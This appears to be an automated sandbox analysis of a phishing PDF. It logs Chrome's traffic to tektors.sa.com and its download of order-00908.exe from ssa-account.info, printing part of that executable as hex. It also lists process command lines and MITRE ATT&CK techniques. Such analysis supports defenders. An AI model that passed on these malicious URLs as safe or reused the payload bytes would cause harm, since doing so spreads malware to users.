2024-11-19 17:19:32 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 19 Nov 2024 17:19:32 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-19 17:19:32 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49730	188.114.96.3	443	7848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:33 UTC	694	OUT	GET /order-00908.exe HTTP/1.1 Host: ssa-account.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://tektors.sa.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:19:34 UTC	1068	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:19:33 GMT Content-Type: application/x-msdownload Content-Length: 5474616 Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Last-Modified: Tue, 19 Nov 2024 14:12:52 GMT X-Nginx-Upstream-Cache-Status: MISS X-Server-Powered-By: Engintron Cache-Control: max-age=14400 CF-Cache-Status: STALE Age: 8444 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PIhrGjK6CipBd6AEqK8P%2BUuE696QqiUPflSYmsq5B1mxMB0ZBDMK7rz4hQyGoa3KBk8bf%2B9ZtQRZxGA5jNKV896%2Bb9jAcpP6IpC5CgxNITsbcylM4hwDb%2BNyVkZAN3ZuPvDu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e51ddac4b88439c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1272&delivery_rate=1796923&cwnd=217&unsent_bytes=0&cid=6fba6e8a8691d325&ts=383&x=0"
2024-11-19 17:19:34 UTC	301	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 5f 0e e5 45 3e 60 b6 45 3e 60 b6 45 3e 60 b6 f1 a2 91 b6 4f 3e 60 b6 f1 a2 93 b6 3f 3e 60 b6 f1 a2 92 b6 5d 3e 60 b6 c5 45 65 b7 60 3e 60 b6 c5 45 64 b7 54 3e 60 b6 c5 45 63 b7 51 3e 60 b6 4c 46 f3 b6 41 3e 60 b6 5b 6c f3 b6 46 3e 60 b6 45 3e 61 b6 25 3e 60 b6 cb 45 69 b7 44 3e 60 b6 cb 45 9f b6 44 3e 60 b6 cb 45 62 b7 44 3e 60 b6 52 69 63 68 45 3e 60 b6 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$_E>`E>`E>`O>`?>`]>`Ee`>`EdT>`EcQ>`LFA>`[lF>`E>a%>`EiD>`ED>`EbD>`RichE>`
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 00 00 00 ad 14 00 00 00 10 00 00 00 d0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 52 00 00 04 00 00 7b e1 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 29 01 00 50 00 00 00 00 60 01 00 80 84 50 00 00 00 00 00 00 00 00 00 00 b6 51 00 38 d3 01 00 00 f0 51 00 a8 0e 00 00 20 1f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 1e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 af b1 00 00 00 10 00 00 00 b2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 Data Ascii: @R{Q@)P`PQ8Q p`@<.text `.rda
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: e8 9d 3a 00 00 6a 01 89 30 e8 f4 03 00 00 83 c4 0c 5e 84 c0 74 73 db e2 e8 9d 08 00 00 68 6c 1b 40 00 e8 68 05 00 00 e8 13 06 00 00 50 e8 89 33 00 00 59 59 85 c0 75 51 e8 0c 06 00 00 e8 63 06 00 00 85 c0 74 0b 68 c2 18 40 00 e8 68 30 00 00 59 e8 23 06 00 00 e8 1e 06 00 00 e8 f8 05 00 00 e8 d7 05 00 00 50 e8 a0 39 00 00 59 e8 e4 05 00 00 84 c0 74 05 e8 52 35 00 00 e8 bd 05 00 00 e8 85 07 00 00 85 c0 75 01 c3 6a 07 e8 2d 06 00 00 cc e8 f2 05 00 00 33 c0 c3 e8 b2 07 00 00 e8 99 05 00 00 50 e8 ca 39 00 00 59 c3 6a 14 68 00 25 41 00 e8 63 08 00 00 6a 01 e8 0b 03 00 00 59 84 c0 0f 84 4a 01 00 00 32 db 88 5d e7 83 65 fc 00 e8 c2 02 00 00 88 45 dc a1 f4 4a 41 00 33 c9 41 3b c1 0f 84 29 01 00 00 85 c0 75 49 89 0d f4 4a 41 00 68 68 d1 40 00 68 50 d1 40 00 e8 7f 35 Data Ascii: :j0^tshl@hP3YYuQcth@h0Y#P9YtR5uj-3P9Yjh%AcjYJ2]eEJA3A;)uIJAhh@hP@5
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 0b 00 00 59 59 b0 01 5d c3 55 8b ec 83 3d 00 4b 41 00 ff ff 75 08 75 07 e8 85 38 00 00 eb 0b 68 00 4b 41 00 e8 e9 38 00 00 59 f7 d8 59 1b c0 f7 d0 23 45 08 5d c3 55 8b ec ff 75 08 e8 c8 ff ff ff f7 d8 59 1b c0 f7 d8 48 5d c3 55 8b ec 83 ec 14 83 65 f4 00 8d 45 f4 83 65 f8 00 50 ff 15 5c d0 40 00 8b 45 f8 33 45 f4 89 45 fc ff 15 58 d0 40 00 31 45 fc ff 15 54 d0 40 00 31 45 fc 8d 45 ec 50 ff 15 50 d0 40 00 8b 45 f0 8d 4d fc 33 45 ec 33 45 fc 33 c1 c9 c3 8b 0d 00 40 41 00 56 57 bf 4e e6 40 bb be 00 00 ff ff 3b cf 74 04 85 ce 75 26 e8 94 ff ff ff 8b c8 3b cf 75 07 b9 4f e6 40 bb eb 0e 85 ce 75 0a 0d 11 47 00 00 c1 e0 10 0b c8 89 0d 00 40 41 00 f7 d1 5f 89 0d 04 40 41 00 5e c3 33 c0 c3 33 c0 40 c3 b8 00 40 00 00 c3 68 18 4b 41 00 ff 15 60 d0 40 00 c3 b0 01 c3 Data Ascii: YY]U=KAuu8hKA8YY#E]UuYH]UeEeP\@E3EEX@1ET@1EEPP@EM3E3E3@AVWN@;tu&;uO@uG@A_@A^33@@hKA`@
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 0f 84 93 00 00 00 83 c8 04 c7 05 34 4b 41 00 02 00 00 00 a3 10 40 41 00 f7 c1 00 00 00 08 74 79 f7 c1 00 00 00 10 74 71 33 c9 0f 01 d0 89 45 ec 89 55 f0 8b 45 ec 8b 4d f0 6a 06 5e 23 c6 3b c6 75 57 a1 10 40 41 00 83 c8 08 c7 05 34 4b 41 00 03 00 00 00 a3 10 40 41 00 f6 c3 20 74 3b 83 c8 20 c7 05 34 4b 41 00 05 00 00 00 a3 10 40 41 00 b8 00 00 03 d0 23 d8 3b d8 75 1e 8b 45 ec ba e0 00 00 00 8b 4d f0 23 c2 3b c2 75 0d 83 0d 10 40 41 00 40 89 35 34 4b 41 00 5f 5e 5b 33 c0 c9 c3 33 c0 39 05 d0 51 41 00 0f 95 c0 c3 55 8b ec 51 8b 45 18 8b 4d 1c 53 56 8b 58 10 57 8b 78 0c 8b d7 89 55 fc 8b f2 85 c9 78 2d 6b c2 14 83 c3 08 03 c3 8b 5d 10 83 fa ff 74 3c 83 e8 14 4a 39 58 fc 7d 04 3b 18 7e 05 83 fa ff 75 07 8b 75 fc 49 89 55 fc 85 c9 79 de 42 3b f7 77 1a 3b d6 77 Data Ascii: 4KA@Atytq3EUEMj^#;uW@A4KA@A t; 4KA@A#;uEM#;u@A@54KA_^[339QAUQEMSVXWxUx-k]t<J9X};~uuIUyB;w;w
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 1e 68 00 40 41 00 56 ba fe ff ff ff 8b cb e8 ac 14 00 00 56 ff 75 f8 e8 f3 fe ff ff 83 c4 08 8b 45 f4 5f 5e 5b 8b e5 5d c3 8b 45 08 81 38 63 73 6d e0 75 38 83 3d 98 d1 40 00 00 74 2f 68 98 d1 40 00 e8 e8 9b 00 00 83 c4 04 85 c0 74 1b 8b 35 98 d1 40 00 8b ce 6a 01 ff 75 08 ff 15 3c d1 40 00 ff d6 8b 75 f0 83 c4 08 8b 45 08 8b 4d 0c 8b d0 e8 29 14 00 00 8b 45 0c 39 78 0c 74 12 68 00 40 41 00 56 8b d7 8b c8 e8 32 14 00 00 8b 45 0c 56 ff 75 f8 89 58 0c e8 73 fe ff ff 8b 4d ec 83 c4 08 8b d6 8b 49 08 e8 d3 13 00 00 cc e8 24 14 00 00 84 c0 75 03 32 c0 c3 e8 37 04 00 00 84 c0 75 07 e8 4b 14 00 00 eb ed b0 01 c3 55 8b ec 80 7d 08 00 75 0a e8 4e 04 00 00 e8 33 14 00 00 b0 01 5d c3 55 8b ec 8b 45 08 8b 4d 0c 3b c1 75 04 33 c0 5d c3 83 c1 05 83 c0 05 8a 10 3a 11 75 Data Ascii: h@AVVuE_^[]E8csmu8=@t/h@t5@ju<@uEM)E9xth@AV2EVuXsMI$u27uKU}uN3]UEM;u3]:u
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 0f 84 0a 01 00 00 38 59 08 0f 84 01 01 00 00 8b 50 08 85 d2 75 08 39 18 0f 8d f2 00 00 00 8b 08 8b 75 0c 85 c9 78 05 83 c6 0c 03 f2 89 5d fc 8b 7d 14 84 c9 79 20 f6 07 10 74 1b a1 3c 4b 41 00 89 45 e4 85 c0 74 0f 8b c8 ff 15 3c d1 40 00 ff 55 e4 8b c8 eb 0b 8b 45 08 f6 c1 08 74 1c 8b 48 18 85 c9 0f 84 b9 00 00 00 85 f6 0f 84 b1 00 00 00 89 0e 8d 47 08 50 51 eb 37 f6 07 01 74 3d 83 78 18 00 0f 84 99 00 00 00 85 f6 0f 84 91 00 00 00 ff 77 14 ff 70 18 56 e8 a9 12 00 00 83 c4 0c 83 7f 14 04 75 56 83 3e 00 74 51 8d 47 08 50 ff 36 e8 3c fc ff ff 59 59 89 06 eb 40 8b 48 18 39 5f 18 75 23 85 c9 74 5a 85 f6 74 56 ff 77 14 8d 47 08 50 51 e8 19 fc ff ff 59 59 50 56 e8 64 12 00 00 83 c4 0c eb 15 85 c9 74 37 85 f6 74 33 f6 07 04 6a 00 5b 0f 95 c3 43 89 5d e0 c7 45 fc Data Ascii: 8YPu9ux]}y t<KAEt<@UEtHGPQ7t=xwpVuV>tQGP6<YY@H9_u#tZtVwGPQYYPVdt7t3j[C]E
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 24 ff 75 20 51 57 ff 75 14 52 ff 75 0c 53 e8 7a 00 00 00 83 c4 20 e8 88 f9 ff ff 83 78 1c 00 75 66 5f 5e 5b c9 c3 e8 1b 25 00 00 6a 01 53 e8 3a f6 ff ff 59 59 8d 4d c4 e8 31 03 00 00 68 44 26 41 00 8d 45 c4 50 e8 2f 0d 00 00 e8 53 f9 ff ff 89 58 10 e8 4b f9 ff ff 8b 4d fc 89 48 14 85 f6 75 03 8b 75 0c 53 56 e8 2b f2 ff ff 57 ff 75 14 ff 75 0c e8 ef 05 00 00 57 e8 a6 07 00 00 83 c4 10 50 e8 57 05 00 00 e8 f6 24 00 00 cc 55 8b ec 83 ec 38 53 8b 5d 08 81 3b 03 00 00 80 0f 84 17 01 00 00 56 57 e8 f9 f8 ff ff 33 ff 39 78 08 74 46 57 ff 15 7c d0 40 00 8b f0 e8 e4 f8 ff ff 39 70 08 74 33 81 3b 4d 4f 43 e0 74 2b 81 3b 52 43 43 e0 74 23 ff 75 24 ff 75 20 ff 75 18 ff 75 14 ff 75 10 ff 75 0c 53 e8 82 f0 ff ff 83 c4 1c 85 c0 0f 85 c1 00 00 00 8b 45 18 89 45 ec 89 7d Data Ascii: $u QWuRuSz xuf_^[%jS:YYM1hD&AEP/SXKMHuuSV+WuuWPW$U8S];VW39xtFW\|@9pt3;MOCt+;RCCt#u$u uuuuSEE}
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 5b c9 c3 8b 75 08 8b 5d e4 8b 45 d0 8b 4d 0c 89 41 fc ff 75 cc e8 cc ed ff ff 59 e8 2a f4 ff ff 8b 4d c8 89 48 10 e8 1f f4 ff ff 8b 4d c4 89 48 14 81 3e 63 73 6d e0 75 4b 83 7e 10 03 75 45 81 7e 14 20 05 93 19 74 12 81 7e 14 21 05 93 19 74 09 81 7e 14 22 05 93 19 75 2a 83 7d c0 00 75 24 85 db 74 20 ff 76 18 e8 ae f1 ff ff 59 85 c0 74 13 83 7d bc 00 0f 95 c0 0f b6 c0 50 56 e8 92 f0 ff ff 59 59 c3 6a 04 b8 92 c1 40 00 e8 b5 8c 00 00 e8 b4 f3 ff ff 83 78 1c 00 75 1d 83 65 fc 00 e8 b2 06 00 00 e8 a0 f3 ff ff 8b 4d 08 6a 00 6a 00 89 48 1c e8 68 07 00 00 e8 6b 1f 00 00 cc cc cc cc cc cc 55 8b ec 8b 45 08 8b 00 81 38 63 73 6d e0 75 36 83 78 10 03 75 30 81 78 14 20 05 93 19 74 12 81 78 14 21 05 93 19 74 09 81 78 14 22 05 93 19 75 15 83 78 1c 00 75 0f e8 4a f3 ff Data Ascii: [u]EMAuYMHMH>csmuK~uE~ t~!t~"u}u$t vYt}PVYYj@xueMjjHhkUE8csmu6xu0x tx!tx"uxuJ
2024-11-19 17:19:34 UTC	1369	IN	Data Raw: 75 52 53 8b 5d 10 56 eb 3d 8b 0b 89 4d fc 8d 04 8d c0 4b 41 00 8b 30 90 85 f6 74 06 3b f7 75 46 eb 21 ff 34 8d 8c db 40 00 e8 4f 00 00 00 8b 55 fc 8b f0 59 8d 0c 95 c0 4b 41 00 85 f6 75 18 8b c7 87 01 83 c3 04 3b 5d 14 75 be 8b 55 f8 87 3a 33 c0 5e 5b 5f c9 c3 8b c6 87 01 85 c0 74 07 56 ff 15 a0 d0 40 00 ff 75 0c 56 ff 15 1c d0 40 00 85 c0 74 d7 8b 55 f8 8b c8 87 0a eb d5 55 8b ec 68 00 08 00 00 6a 00 ff 75 08 ff 15 a4 d0 40 00 85 c0 75 32 ff 15 74 d0 40 00 83 f8 57 75 25 6a 07 68 10 dc 40 00 ff 75 08 e8 d5 1b 00 00 83 c4 0c 85 c0 74 0f 6a 00 6a 00 ff 75 08 ff 15 a4 d0 40 00 5d c3 33 c0 5d c3 55 8b ec 56 68 28 dc 40 00 68 20 dc 40 00 68 28 dc 40 00 6a 00 e8 fb fe ff ff 8b f0 83 c4 10 85 f6 74 10 ff 75 08 8b ce ff 15 3c d1 40 00 ff d6 5e 5d c3 5e 5d ff 25 Data Ascii: uRS]V=MKA0t;uF!4@OUYKAu;]uU:3^[_tV@uV@tUUhju@u2t@Wu%jh@utjju@]3]UVh(@h @h(@jtu<@^]^]%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	53950	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:19:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oAYZgl7Ol51xsmV&MD=OrAOcw7l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 17:19:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 981a9969-60f3-4e54-92ad-ba0c394b4a86 MS-RequestId: d3d201eb-e7ee-4c2c-87d7-e935a8e972cd MS-CV: pN/I2hIOMUOjg3K/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:19:56 GMT Connection: close Content-Length: 30005
2024-11-19 17:19:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-19 17:19:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	12:19:03
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\217469812STM.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:19:04
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:19:05
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,5807399381284603606,5485889827132596324,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:19:29
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://tektors.sa.com/neword/ord.html"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:19:30
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:19:33
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5588 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

